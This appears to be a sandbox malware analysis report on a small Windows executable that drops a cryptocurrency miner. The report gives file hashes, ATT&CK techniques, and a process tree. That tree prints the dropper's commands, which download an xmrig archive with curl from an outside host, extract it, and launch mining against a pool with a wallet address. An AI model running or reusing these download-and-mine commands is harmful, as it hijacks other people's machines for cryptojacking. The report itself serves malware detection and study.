bdceae0011ef605ed7ba17edd9d550dd9bd580e8b4f69ac7d3bc18ac59e2b8ac

max time kernel
553s
max time network
526s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2024, 20:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

test - Copy - Copy - Copy (2).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	test - Copy - Copy - Copy (2).exe

Executes dropped EXE 1 IoCs

pid	Process
4396	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4792 wrote to memory of 5064	4792	test - Copy - Copy - Copy (2).exe	90
PID 4792 wrote to memory of 5064	4792	test - Copy - Copy - Copy (2).exe	90
PID 5064 wrote to memory of 3840	5064	cmd.exe	93
PID 5064 wrote to memory of 3840	5064	cmd.exe	93
PID 5064 wrote to memory of 4980	5064	cmd.exe	107
PID 5064 wrote to memory of 4980	5064	cmd.exe	107
PID 5064 wrote to memory of 4396	5064	cmd.exe	108
PID 5064 wrote to memory of 4396	5064	cmd.exe	108

C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (2).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (2).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\otIlwGM9.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:3840
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:4980
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    PID:4396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\otIlwGM9.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
800KB

MD5
92898f4cc3c127b1385edc18d2203eb9

SHA1
2b9a1c978e16b61bcd2e90948236b8dc76d87e15

SHA256
03c1def6422a4dcb756afb85f156d85aade7ece642357615d2881b9274d39081

SHA512
d2afd815cbe18c98a36c5d84e4f79a4b6613e3d43ddff6e5cf6825326ea982f2abf30acd772443839726415d86f66166db53f536f40c608cdfb1942267a7acaa

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
7.9MB

MD5
b82885724d8a7630d1876ad2f088afab

SHA1
5e4f000d0395d34ef04b73545a814c67f50c0054

SHA256
67fd7262328fdf0c02df4c799eab52142ad3c36edbc47c084a84c789bbd45a41

SHA512
c9aeb996c8db49f2bbc5e4cbf9678cf03fa3a53bf3d17b03019d8d244cd572b62ea4a3c95b172e16d6464bf125bf96e6c0dee597d24f096ccd4a4446f84bd424

Download Submit
memory/4792-0-0x0000000000700000-0x0000000000708000-memory.dmp

Filesize
32KB

Download
memory/4792-3-0x00007FFB099D0000-0x00007FFB0A491000-memory.dmp

Filesize
10.8MB

Download
memory/4792-7-0x00007FFB099D0000-0x00007FFB0A491000-memory.dmp

Filesize
10.8MB

Download
memory/4792-23-0x00007FFB099D0000-0x00007FFB0A491000-memory.dmp

Filesize
10.8MB

Download

Resubmissions

Analysis